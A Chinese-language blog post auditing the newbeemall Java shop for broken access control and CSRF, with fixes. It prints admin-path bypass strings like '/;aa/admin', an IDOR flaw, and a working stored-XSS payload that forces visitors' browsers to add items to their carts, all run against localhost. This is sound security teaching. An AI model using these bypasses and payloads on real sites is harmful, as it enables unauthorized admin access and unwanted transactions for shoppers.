newbeemall 审计(上) | H4cking to the Gate . (h4cking2thegate.github.io)

之前没写完的接着写

越权

越权分为三部分讲解:1. 未授权访问;2. 垂直越权;3. 水平越权

Java中做角色控制的组件常见的有Apache shiro和Spring Security,它们将软件系统的安全认证相关的功能抽取出来,实现用户身份认证,权限授权、加密、会话管理等功能,组成了一个通用的安全认证框架。

Shiro使用广泛,shiro可以运行在web应用,非web应用,集群分布式应用中越来越多的用户使用shiro。Shiro相对独立,并且使用简单、灵活。

Spring Security(原名Acegi)也是一个开源的权限管理框架,spring security依赖spring运行。除了权限管理,它也有较多其他安全功能,体量较重,使用程度没有Shiro广泛,但它提供的安全防护能力是最全的。

案例项目仅使用interceptor(拦截器)根据URL路径做访问控制的,相对于使用成熟的框架,自写拦截器容易出现更多安全问题。

Interceptor配置在/src/main/java/ltd/newbee/mall/config/NeeBeeMallWebMvcConfigurer.java中,针对url路径设置了不同的interceptor。

管理员访问控制

关于管理员的权限控制都写在AdminLoginInterceptor中,这里给出preHandle的代码

1
2
3
4
5
6
7
8
9
10
11
12
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object o) throws Exception {
String uri = request.getRequestURI();
if (uri.startsWith("/admin") && null == request.getSession().getAttribute("loginUser")) {
request.getSession().setAttribute("errorMsg", "请登陆");
response.sendRedirect(request.getContextPath() + "/admin/login");
return false;
} else {
request.getSession().removeAttribute("errorMsg");
return true;
}
}

使用getRequestURI()来获取uri并判断是否以admin开头,这里存在安全问题,参考Tomcat URL解析差异性导致的安全问题 - 先知社区 (aliyun.com)

简要描述就是

image-20230227205000730

绕过方法

1
2
3
4
/1/../admin
/./admin
/;aa/admin
//admin

修复方法是将 getRequestURI改为getServletPath()

水平越权

在开发时有一个原则是尽量从session中获取用户ID进行查询,这样会避免越权查询漏洞产生。

在这个路由中存在一个updateUserInfo(),传入了httpSession

1
2
3
4
5
6
7
8
9
10
11
12
13
@PostMapping("/personal/updateInfo")
@ResponseBody
public Result updateInfo(@RequestBody MallUser mallUser, HttpSession httpSession) {
NewBeeMallUserVO mallUserTemp = newBeeMallUserService.updateUserInfo(mallUser,httpSession);
if (mallUserTemp == null) {
Result result = ResultGenerator.genFailResult("修改失败");
return result;
} else {
//返回成功
Result result = ResultGenerator.genSuccessResult();
return result;
}
}

但是这个函数在和数据库交互式并没有使用session,所以产生了水平越权,具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Override
public NewBeeMallUserVO updateUserInfo(MallUser mallUser, HttpSession httpSession) {
MallUser user = mallUserMapper.selectByPrimaryKey(mallUser.getUserId());
if (user != null) {
user.setNickName(mallUser.getNickName());
user.setAddress(mallUser.getAddress());
user.setIntroduceSign(mallUser.getIntroduceSign());
if (mallUserMapper.updateByPrimaryKeySelective(user) > 0) {
NewBeeMallUserVO newBeeMallUserVO = new NewBeeMallUserVO();
user = mallUserMapper.selectByPrimaryKey(mallUser.getUserId());
BeanUtil.copyProperties(user, newBeeMallUserVO);
httpSession.setAttribute(Constants.MALL_USER_SESSION_KEY, newBeeMallUserVO);
return newBeeMallUserVO;
}
}
return null;
}

使用的mallUser.getUserId()进行查询,而mallUser又是用户可以控制的

CSRF

案例项目中不存在Referer校验和CSRF token,所以网站肯定存在多处CSRF。除了修改密码处需要的原密码攻击者无法知晓外,其他功能点均存在CSRF。

我们以添加购物车功能为例,请求内容为下,没有任何token值

add-to-shop-cart

由于是json格式的请求,不能直接使用burp Generate CSRF PoC,因为burp生成的PoC无法伪造Content-Type。burp生成的CSRF PoC请求内容如下,可以看到Content-Type: text/plain,并且post数据多出一个等号。

csrf-request-add-shop-cart

使用fetch跨域请求会先发送一个options请求,fetch设置no-cors模式又无法更改Content-Type。还有一种利用方法是使用flash+307跳转,这种方法只适用于老旧浏览器。

不过我们可以利用之前审计出来的漏洞组合起来利用。

首先我们通过未授权访问商品 http://localhost:8089/index/..;/admin/goods/edit/10896

edit-goods

将商品详细信息改为,该<script>会发送添加商品10986到购物车的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<script type="text/javascript" charset="utf-8">
const authUrl = `http://localhost:8089/shop-cart`;
fetch(
authUrl,
{
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
},
body: '{"goodsId":10896,"goodsCount":1}',
}
).catch(err => {
throw err;
}).then(() => {
});
</script>

因为富文本编辑器会将我们输入的内容编码,在保存过程中抓包,修改goodsDetailContent参数为XSS payload

1
<script type=\"text/javascript\" charset=\"utf-8\">const authUrl=`http://localhost:8089/shop-cart`;fetch(authUrl,{method:'POST',credentials:'include',headers:{'Content-Type':'application/json','X-Requested-With':'XMLHttpRequest'},body:'{\"goodsId\":10896,\"goodsCount\":1}'}).catch(err=>{throw err;}).then(()=>{});</script>

update-xss-in-goods

每当用户访问10896这个商品时都会触发XSS,然后XSS执行CSRF请求,将该商品添加到购物车中

xss-combine-csrf

查看购物车,发现该商品在未经人工操作的情况下被进入购物车。我们甚至还可以再添加结算和下订单操作,直接等待用户付款。

auto-add-goods-in-shop-cart

修复

校验Referer

Spring中可以使用interceptor来校验Referer

给cookie设置SameSite属性

关于SameSite属性可参考 https://mp.weixin.qq.com/s/YqSxIvbgq1DkAlUL5rBtqA

设置CSRF token

CSRF token生成可以借助Spring Security框架,默认提供CSRF防护。Spring Security的CSRF防护是基于Filter来实现的,Spring Security提供多种保存token的策略,既可以保存在cookie中,也可以保存在session中,保存方法可以手动指定。

注意,不管是校验Referer还是设置SameSite,都不能防止同站发起的CSRF,比如本文所举的例子就没法防范。XSS也可能从页面中获取CSRF token再进行攻击,这些防范方法都是提高攻击者的攻击难度,而不是完全消灭CSRF。真正重要的功能一定需要短信验证码或者密码之类的仅当前用户知道的参数才能进行操作,比如支付转账等。

Reference

Java SpringBoot框架代码审计五 - 越权 | Seikei’s Blog (s31k31.github.io)

springboot代码审计学习-newbeemall审计 (pankas.top)